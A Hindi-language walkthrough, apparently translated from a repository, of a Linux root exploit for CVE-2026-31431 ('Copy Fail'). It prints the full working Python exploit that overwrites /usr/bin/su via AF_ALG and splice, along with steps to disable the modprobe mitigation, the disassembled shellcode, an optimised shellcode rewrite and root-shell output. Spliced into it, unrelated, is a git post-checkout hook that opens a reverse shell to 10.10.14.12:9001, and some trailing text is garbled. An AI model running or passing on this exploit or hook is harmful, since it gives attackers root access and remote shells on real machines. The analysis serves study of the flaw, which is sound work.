
CVE-2026-31431 (Copy Fail) — x86-64 असेंबली में विश्लेषण और विकास | x86-64 असेंबली में विश्लेषण और विकास
आधार के रूप में Theori पर प्रकाशित स्रोत कोड को लेते हुए, हम इसे पूरी तरह से शुद्ध असेंबली भाषा (बिना बाहरी लाइब्रेरी के) में बदलने तक कई अभ्यास करेंगे।```python #!/usr/bin/env python3
import os as g,zlib,socket as s def d(x):return bytes.fromhex(x) def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0 f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) while i<len(e):c(f,i,e[i:i+4]);i+=4 g.system("su")
## परीक्षण वातावरण
हम इस अभ्यास को निम्नलिखित मशीन पर करेंगे।```bash
> $ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 24.04.4 LTS
Release: 24.04
Codename: noble
> $ uname -rm
6.19.4-061904-generic x86_64
हम यह सत्यापित करने के लिए Python में प्रोग्राम चलाते हैं कि सिस्टम भेद्य है या नहीं। यदि यह त्रुटि देता है, तो यह भेद्य नहीं है; यदि यह sh शेल खोलता है, तो यह भेद्य है।```bash
$ python3 copyfail.py Traceback (most recent call last): File "/home/gmg/copy.fail/copyfail.py", line 11, in while i<len(e):c(f,i,e[i:i+4]);i+=4 ^^^^^^^^^^^^^^^ File "/home/gmg/copy.fail/copyfail.py", line 7, in c a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory
### मिटिगेशन को निष्क्रिय करें
इस मशीन पर स्वचालित सुरक्षा अपडेट के माध्यम से मिटिगेशन डाउनलोड किया गया था, इसलिए यह विफल रहा। इसे परीक्षण करने के लिए, हम उस फ़ाइल का नाम बदलकर सुरक्षा को कम करते हैं जहां मिटिगेशन स्थित है।```bash
# Buscar si existe un modprobe explícito
> $ grep -r "algif" /etc/modprobe.d/
/etc/modprobe.d/disable-algif_aead.conf:# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)
/etc/modprobe.d/disable-algif_aead.conf:install algif_aead /bin/false
# Renombrar el archivo donde se encuentra la mitigación
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf /etc/modprobe.d/disable-algif_aead.conf.bak
हम फिर से प्रोग्राम का परीक्षण करते हैं और अब हाँ, यह हमें shell लौटाता है और हम पुष्टि करते हैं कि हम root हैं।```bash
$ python3 copyfail.py
uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
### सुरक्षा पुनः सक्रिय करें
एक बार अभ्यास समाप्त हो जाने पर, हम सुरक्षा को पुनः सक्रिय करने के लिए निम्नलिखित चलाते हैं:```bash
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf.bak /etc/modprobe.d/disable-algif_aead.conf
> $ sudo modprobe -r algif_aead
> $ sudo sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
सबसे पहले हमें यह विश्लेषण करना होगा कि zlib से संपीड़ित स्ट्रिंग किस बारे में है। इसके लिए हम Python में एक प्रोग्राम, decompress.py, बनाते हैं जो इसे डीकंप्रेस करता है और एक फ़ाइल उत्पन्न करता है: output.bin।```python
import zlib
hex_data = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
data = zlib.decompress(bytes.fromhex(hex_data))
with open("output.bin", "wb") as f: f.write(data)
print(f"Archivo generado: output.bin ({len(data)} bytes)")
हम फ़ाइल प्रकार को निष्पादित और विश्लेषित करते हैं।```bash
> $ python3 decompress.py
Archivo generado: output.bin (160 bytes)
> $ file output.bin
output.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
अब जब हम जानते हैं कि यह एक ELF 64-bit LSB executable फ़ाइल है, तो हम इसकी जाँच करेंगे।```bash
$ readelf -a output.bin ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x400078 Start of program headers: 64 (bytes into file) Start of section headers: 0 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 1 Size of section headers: 0 (bytes) Number of section headers: 0 Section header string table index: 0
There are no sections in this file.
There are no section groups in this file.
Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x000000000000009e 0x000000000000009e R E 0x1000
There is no dynamic section in this file.
There are no relocations in this file. No processor specific unwind information to decode
Dynamic symbol information is not available for displaying symbols.
No version information found in this file.
ELF संरचना **120 बाइट** घेरती है: **ELF header** (64 बाइट) + **Program header** (56 बाइट)। मशीन कोड बाइट 120 (0x78) से शुरू होता है, जो **Entry point address: 0x400078** से मेल खाता है।
### कोड का डिसअसेंबली
**Entry point address: 0x400078** होने पर, हम कोड को डिसअसेंबल करना शुरू कर सकते हैं।```bash
> $ objdump -D -b binary -m i386:x86-64 -M intel -z --start-address=0x78 output.bin
output.bin: file format binary
Disassembly of section .data:
0000000000000078 <.data+0x78>:
78: 31 c0 xor eax,eax
7a: 31 ff xor edi,edi
7c: b0 69 mov al,0x69
7e: 0f 05 syscall
80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96
87: 31 f6 xor esi,esi
89: 6a 3b push 0x3b
8b: 58 pop rax
8c: 99 cdq
8d: 0f 05 syscall
8f: 31 ff xor edi,edi
91: 6a 3c push 0x3c
93: 58 pop rax
94: 0f 05 syscall
96: 2f (bad)
97: 62 69 6e 2f 73 (bad)
9c: 68 .byte 0x68
9d: 00 00 add BYTE PTR [rax],al
9f: 00 .byte 0
प्रत्येक पैरामीटर का स्पष्टीकरण:
-D — Disassemble All. फ़ाइल की संपूर्ण सामग्री को डिस्सेम्बल करता है, न कि केवल कोड के रूप में चिह्नित अनुभागों को। इसके बिना, -d केवल .text को डिस्सेम्बल करेगा, और चूंकि इस फ़ाइल में ELF अनुभाग नहीं हैं (यह शुद्ध बाइनरी है), यह कुछ भी प्रदर्शित नहीं करेगा।-b binary — Binary format. objdump को बताता है कि फ़ाइल को कच्चे डेटा के रूप में माने, बिना ELF हेडर पार्स करने का प्रयास किए। इसके बिना, objdump फ़ाइल का ELF हेडर पढ़ने का प्रयास करेगा और विफल हो जाएगा या गलत तरीके से डिस्सेम्बल करेगा।-m i386:x86-64 — Machine architecture. डिस्सेम्बल करने के लिए निर्देश सेट को इंगित करता है। i386 मूल परिवार है, :x86-64 64-बिट मोड निर्दिष्ट करता है। -b binary का उपयोग करते समय यह आवश्यक है, क्योंकि ELF हेडर न होने के कारण objdump को आर्किटेक्चर जानने का कोई तरीका नहीं है। -m के बिना, यह i386 (32-बिट) मान लेता है और डिस्सेम्बलिंग गलत हो जाती है — lea rdi, [rip+0xf] जैसे 64-बिट निर्देश कचरे के रूप में डिकोड हो जाते हैं।-M intel — Syntax mode. AT&T () के बजाय Intel सिंटैक्स () का उपयोग करता है।सारांश में: -b binary के साथ, -m अनिवार्य है क्योंकि objdump ELF हेडर के बिना आर्किटेक्चर का अनुमान नहीं लगा सकता। एक सामान्य ELF फ़ाइल के साथ (-b binary के बिना), -m की आवश्यकता नहीं है क्योंकि आर्किटेक्चर हेडर के e_machine में है।
इस मामले में -z पैरामीटर महत्वपूर्ण है, क्योंकि जैसा कि हम आगे देखेंगे, कुछ शून्य हैं जिनका उपयोग पैडिंग के रूप में किया जाता है और इस पैरामीटर के बिना यह आगे क्या है दिखाएगा और हमारे पास सटीक डिस्सेम्बल नहीं होगा।```bash
9d: 00 00 add BYTE PTR [rax],al
...
### स्ट्रिंग "/bin/sh" की पहचान
objdump के आउटपुट में, हम देखते हैं:```bash
96: 2f (bad)
97: 62 69 6e 2f 73 (bad)
9c: 68 .byte 0x68
9d: 00 00 add BYTE PTR [rax],al
9f: 00 .byte 0
और स्थान 0x80 पर, हमारे पास है:```bash 80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96
इस अंतिम पंक्ति की व्याख्या करने पर हम अनुमान लगाते हैं कि यह एक स्ट्रिंग है, जो 0x96 स्थान से शुरू होती है और 0x9F पर समाप्त होती है। हम इस स्ट्रिंग को निम्नलिखित तरीकों से देख सकते हैं:```bash
> $ strings -t x output.bin
96 /bin/sh
> $ xxd -s 0x96 -l 10 output.bin
00000096: 2f62 696e 2f73 6800 0000 /bin/sh...
पहला 00 नल टर्मिनेटर है जो स्ट्रिंग (/bin/sh\0) के अंत को चिह्नित करता है। शेष दो 00 अलाइनमेंट पैडिंग हैं।
कोड को साफ करने पर यह इस प्रकार है:```assembly ; Archivo: payload.asm
BITS 64
section .text xor eax, eax ; rax = 0 xor edi, edi ; rdi = 0 mov al, 0x69 ; rax = 105 (setuid) syscall ; setuid(0)
lea rdi, [rel shell_string] ; rdi -> "/bin/sh"
xor esi, esi ; rsi = 0 (argv = NULL)
push 0x3b ; 59 (execve)
pop rax
cdq ; rdx = 0 (envp = NULL)
syscall ; execve("/bin/sh", NULL, NULL)
xor edi, edi ; rdi = 0
push 0x3c ; 60 (exit)
pop rax
syscall ; exit(0)
shell_string: db "/bin/sh", 0 ; string con terminador NULL db 0, 0 ; padding de alineación
> पैडिंग यह सुनिश्चित करता है कि कुल 4 से विभाज्य हो, क्योंकि Python में एक्सप्लॉइट पेलोड को पेज कैश में 4 बाइट के चंक में लिखता है। यदि आकार 4 का गुणज नहीं होता, तो अंतिम चंक अधूरा रह जाता और लेखन गलत होता।
### मूल के साथ पहचान का सत्यापन
हम जाँचते हैं कि यह कोड **output.bin** फ़ाइल के समान है जिसे हमने स्ट्रिंग को डीकंप्रेस करके, बाइनरी के रूप में संकलित करके उत्पन्न किया था:```bash
> $ nasm -f bin payload.asm -o payload.bin
फ़ाइल output.bin से केवल कोड निकालें। चूंकि हम जानते हैं कि पहले 120 बाइट्स ELF संरचना के अनुरूप हैं, हम उतने बाइट्स को छोड़ देते हैं।```bash
$ dd if=output.bin bs=1 skip=120 > payload-original.bin 40+0 records in 40+0 records out 40 bytes copied, 0,00247062 s, 16,2 kB/s
हम पुष्टि करते हैं कि हमारा कोड मूल payload के समान है। इसे करने के तीन तरीके दिखाए गए हैं।```bash
> $ diff -s payload-original.bin payload.bin
Files payload-original.bin and payload.bin are identical
> $ cmp -s payload-original.bin payload.bin && echo "-->> Idénticos" || echo "-->> Distintos"
-->> Idénticos
> $ md5sum payload-original.bin payload.bin | awk '{h[NR]=$1; print} END {print (h[1]==h[2]) ? "-->> Idénticos" : "-->> Distintos"}'
a48e81f49bfd55a8f7ec72a5c29a1e31 payload-original.bin
a48e81f49bfd55a8f7ec72a5c29a1e31 payload.bin
-->> Idénticos
यह सुनिश्चित करते हुए कि payload.asm कोड मूल से बिल्कुल मेल खाता है, हम इसे अनुकूलित करने जा रहे हैं।```assembly ; Archivo: payload-optimized.asm
BITS 64
section .text xor edi, edi ; rdi = 0 push 0x69 ; 105 (setuid) pop rax ; rax = 105 syscall ; setuid(0)
xor esi, esi ; rsi = 0 (argv = NULL)
mov rbx, 0x0068732f6e69622f ; rbx = "/bin/sh\0"
push rbx ; string al stack
push rsp ; push dirección del string
pop rdi ; rdi → "/bin/sh" en stack
push 0x3b ; 59 (execve)
pop rax
cdq ; rdx = 0 (envp = NULL)
syscall ; execve("/bin/sh", NULL, NULL)
xor edi, edi ; rdi = 0
push 0x3c ; 60 (exit)
pop rax
syscall ; exit(0)
db 0 ; padding de alineación
> संरेखण पैडिंग: 120 (हेडर) + 35 (कोड) = 155 -> +1 बाइट = 156 / 4 = 39 चंक।
**भाग 2** में हम प्रत्येक अनुकूलन के कारण को विस्तार से देखेंगे।
हम संकलित करते हैं:```bash
> $ nasm -f bin payload-optimized.asm -o payload-optimized.bin
पेलोड को सीधे निष्पादित करने के लिए, हमें उन्हें इस प्रकार संकलित और लिंक करना होगा:```bash
$ nasm -f elf64 payload.asm -o payload.o $ ld payload.o -o payload ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 $ ./payload $
$ nasm -f elf64 payload-optimized.asm -o payload-optimized.o $ ld payload-optimized.o -o payload-optimized ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 $ ./payload-optimized $
यदि हम चेतावनी को हटाना चाहते हैं, तो **`section .text`** के बाद हमें निम्नलिखित पंक्तियाँ जोड़नी चाहिए:```assembly
global _start
_start:
हम मूल पेलोड (output.bin) के ELF हेडर (पहले 120 बाइट्स) और 36 बाइट्स के अनुकूलित पेलोड (payload-optimized.bin) को जोड़ते हैं। हम कुछ जाँच करते हैं, निष्पादन अनुमतियाँ निर्दिष्ट करते हैं और निष्पादित करने पर हमें शेल प्राप्त होता है।```bash
$ { dd if=output.bin bs=1 count=120; cat payload-optimized.bin; } > payload-optimized.elf 120+0 records in 120+0 records out 120 bytes copied, 0,000526437 s, 228 kB/s
$ ls -l payload-optimized.elf -rw-rw-r-- 1 gmg gmg 156 may 14 17:55 payload-optimized.elf
$ file payload-optimized.elf payload-optimized.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
$ chmod +x payload-optimized.elf
$ ./payload-optimized.elf $
## ELF हैडर का विश्लेषण
मूल ELF के हैडर (120 बाइट) को हमारे अनुकूलित पेलोड (36 बाइट) के साथ जोड़ने पर, परिणामी फ़ाइल 156 बाइट की होती है, लेकिन हैडर में **p_filesz** और **p_memsz** फ़ील्ड अभी भी 158 दर्शा रहे हैं, जो मूल 160 बाइट फ़ाइल का मान है। हम इन फ़ील्ड का विश्लेषण और सुधार करेंगे।
इसके लिए हमें ELF फ़ाइल के हैडर की संरचना जाननी होगी।```c
// --- ELF Header (64 bytes) ---
// Definido en <elf.h> como Elf64_Ehdr
struct Elf64_Ehdr { // Offset Bytes
unsigned char e_ident[16]; // 0x00 16
uint16_t e_type; // 0x10 2
uint16_t e_machine; // 0x12 2
uint32_t e_version; // 0x14 4
uint64_t e_entry; // 0x18 8
uint64_t e_phoff; // 0x20 8
uint64_t e_shoff; // 0x28 8
uint32_t e_flags; // 0x30 4
uint16_t e_ehsize; // 0x34 2
uint16_t e_phentsize; // 0x36 2
uint16_t e_phnum; // 0x38 2
uint16_t e_shentsize; // 0x3A 2
uint16_t e_shnum; // 0x3C 2
uint16_t e_shstrndx; // 0x3E 2
}; // Total: 64 bytes
// --- Program Header (56 bytes) ---
// Definido en <elf.h> como Elf64_Phdr
struct Elf64_Phdr { // Offset Bytes
uint32_t p_type; // 0x40 4
uint32_t p_flags; // 0x44 4
uint64_t p_offset; // 0x48 8
uint64_t p_vaddr; // 0x50 8
uint64_t p_paddr; // 0x58 8
uint64_t p_filesz; // 0x60 8
uint64_t p_memsz; // 0x68 8
uint64_t p_align; // 0x70 8
}; // Total: 56 bytes
हम देखते हैं कि प्रोग्राम हेडर के p_filesz और p_memsz के मान क्या हैं। ये बताते हैं कि डिस्क पर फ़ाइल में सेगमेंट के कितने बाइट्स मौजूद हैं और लोड करते समय मेमोरी में कितने आरक्षित होते हैं।
p_filesz और p_memsz के ऑफ़सेट क्रमशः 0x60 और 0x68 हैं।```bash
$ xxd -s 0x60 -l 8 -p output.bin 9e00000000000000
$ xxd -s 0x68 -l 8 -p output.bin 9e00000000000000
### एंडियननेस का सत्यापन
दृश्य रूप से हम देखते हैं कि मान **little-endian** में हैं, क्योंकि यदि वे big-endian में होते तो वे बहुत बड़े होते और 160 बाइट्स के आकार से मेल नहीं खाते। इसकी पुष्टि करने के लिए, हम जाँचते हैं कि ELF हैडर के **e_ident[5]** का मान क्या है।
संभावित मान हैं:
| मान | स्थिरांक | अर्थ |
|---|---|---|
| 0x01 | ELFDATA2LSB | लिटिल-एंडियन (x86, x86-64, ARM) |
| 0x02 | ELFDATA2MSB | बिग-एंडियन (SPARC, PowerPC, MIPS BE) |
हम निष्पादित करते हैं:```bash
> $ xxd -s 5 -l 1 -p output.bin
01
पुष्टि हुई कि यह little-endian में है। हम दशमलव में मान देखते हैं:```bash
$ od -An -t u8 -j 0x60 -N 8 output.bin 158
$ od -An -t u8 -j 0x68 -N 8 output.bin 158
### आकारों की तुलना
हम फ़ाइलों के आकार सूचीबद्ध करते हैं।```bash
> $ ls -l output.bin payload-optimized.elf
-rw-rw-r-- 1 gmg gmg 160 may 12 18:03 output.bin
-rwxrwxr-x 1 gmg gmg 156 may 14 17:55 payload-optimized.elf
मूल फ़ाइल का आकार 160 बाइट्स है, लेकिन संरचना में इसे 158 बाइट्स आवंटित किया गया है। ऐसा इसलिए है क्योंकि फ़ाइल के अंत में दो बाइट्स का पैडिंग है और लेखक ने सटीक होने का निर्णय लिया और केवल उन बाइट्स को इंगित किया जो लोड होने वाले हैं। यदि 158 के बजाय 160 होता, तो भी यह सही ढंग से निष्पादित होता क्योंकि पैडिंग के दो बाइट्स कभी निष्पादित नहीं होते (वे exit के बाद हैं) और उनका संदर्भ भी नहीं दिया जाता।
हमारी अनुकूलित फ़ाइल 156 बाइट्स की है और इसमें एक बाइट का पैडिंग है। प्रोग्राम के लेखक की सटीकता की उसी पंक्ति का अनुसरण करते हुए, हम p_filesz और p_memsz को 155 पर परिभाषित करने जा रहे हैं।
हम 155 दशमलव को हेक्साडेसिमल में बदलते हैं।```bash
$ echo "obase=16; 155" | bc 9B
$ printf '%x\n' 155 9b
यह एक अच्छा अभ्यास है कि Program Header के **p_filesz** और **p_memsz** फ़ील्ड सही मान रखते हैं।```bash
> $ printf '\x9b' | dd of=payload-optimized.elf bs=1 seek=$((0x60)) count=1 conv=notrunc
1+0 records in
1+0 records out
1 byte copied, 0,000686896 s, 1,5 kB/s
> $ printf '\x9b' | dd of=payload-optimized.elf bs=1 seek=$((0x68)) count=1 conv=notrunc
1+0 records in
1+0 records out
1 byte copied, 0,000130524 s, 7,7 kB/s
हम पुष्टि करते हैं कि परिवर्तन सही ढंग से लागू किए गए।```bash
$ od -An -t u8 -j 0x60 -N 8 payload-optimized.elf 155
$ od -An -t u8 -j 0x68 -N 8 payload-optimized.elf 155
हम प्रोग्राम हेडर देखकर भी इसकी पुष्टि कर सकते हैं।```bash
> $ readelf -l payload-optimized.elf
Elf file type is EXEC (Executable file)
Entry point 0x400078
There is 1 program header, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
0x000000000000009b 0x000000000000009b R E 0x1000
हम इसे चलाते हैं और यह सही ढंग से काम करता रहता है।```bash
$ ./payload-optimized.elf $
## एक्सप्लॉइट में एकीकरण
हम एक प्रोग्राम बनाते हैं जो अनुकूलित पेलोड को संपीड़ित करता है और हेक्साडेसिमल स्ट्रिंग लौटाता है ताकि इसे एक्सप्लॉइट में डाला जा सके।```python
# Archivo: compress.py
import zlib
with open("payload-optimized.elf", "rb") as f:
data = f.read()
compressed = zlib.compress(data)
print(f"Original: {len(data)} bytes -> Comprimido: {len(compressed)} bytes")
print(compressed.hex())
🪝 गिट हुक्स (.git/hooks)
प्रत्येक Git रिपॉज़िटरी में .git/hooks फ़ोल्डर होता है जिसमें स्क्रिप्ट्स होती हैं जो कुछ Git घटनाओं के प्रत्युत्तर में स्वचालित रूप से निष्पादित होती हैं। हम एक post-checkout हुक स्थापित कर सकते हैं जो हर बार git checkout चलाने पर सक्रिय होगा।
हम एक दुर्भावनापूर्ण post-checkout स्क्रिप्ट बनाते हैं:
echo '#!/bin/bash bash -i >& /dev/tcp/10.10.14.12/9001 0>&1' > .git/hooks/post-checkout chmod +x .git/hooks/post-checkout```bash
$ python3 compress.py Original: 156 bytes -> Comprimido: 86 bytes 789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e0de5c16806010865f83f2b33829fd5f09bc76efda4cc3cfde20c86e090f82ceb889940c1ff59364039060003f110d6
हम मूल exploit में संपीड़ित string को नए optimized string से बदल देते हैं।```python
#!/usr/bin/env python3
# Archivo: copyfail-optimized.py
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e0de5c16806010865f83f2b33829fd5f09bc76efda4cc3cfde20c86e090f82ceb889940c1ff59364039060003f110d6"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
हमने अनुकूलित पेलोड के साथ एक्सप्लॉइट का परीक्षण किया और पुष्टि की कि यह सही ढंग से काम करता है।```bash
$ python3 copyfail-optimized.py
uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
> ⚠️ परीक्षण समाप्त होने के बाद [सुरक्षा पुनः सक्रिय करें](#reactivar-la-protección) न भूलें।
## संपर्क
यदि आपके पास कोई प्रश्न, सुझाव या सुधार हैं, तो कृपया रिपॉजिटरी का नाम बताते हुए मुझे लिखें:
✉️ `[email protected]`
mov $0x69, %almov al, 0x69-z — शून्य अनुक्रमों के दमन को निष्क्रिय करता है। इस प्रकार यह शून्य को छोड़े बिना सब कुछ दिखाता है।--start-address=0x78 — ऑफ़सेट 0x78 (120 बाइट्स) से प्रारंभ करें। पेलोड के ELF हेडर और प्रोग्राम हेडर को छोड़ देता है, केवल मशीन कोड को डिस्सेम्बल करता है। इसके बिना, यह हेडर को निर्देशों की तरह डिस्सेम्बल करेगा।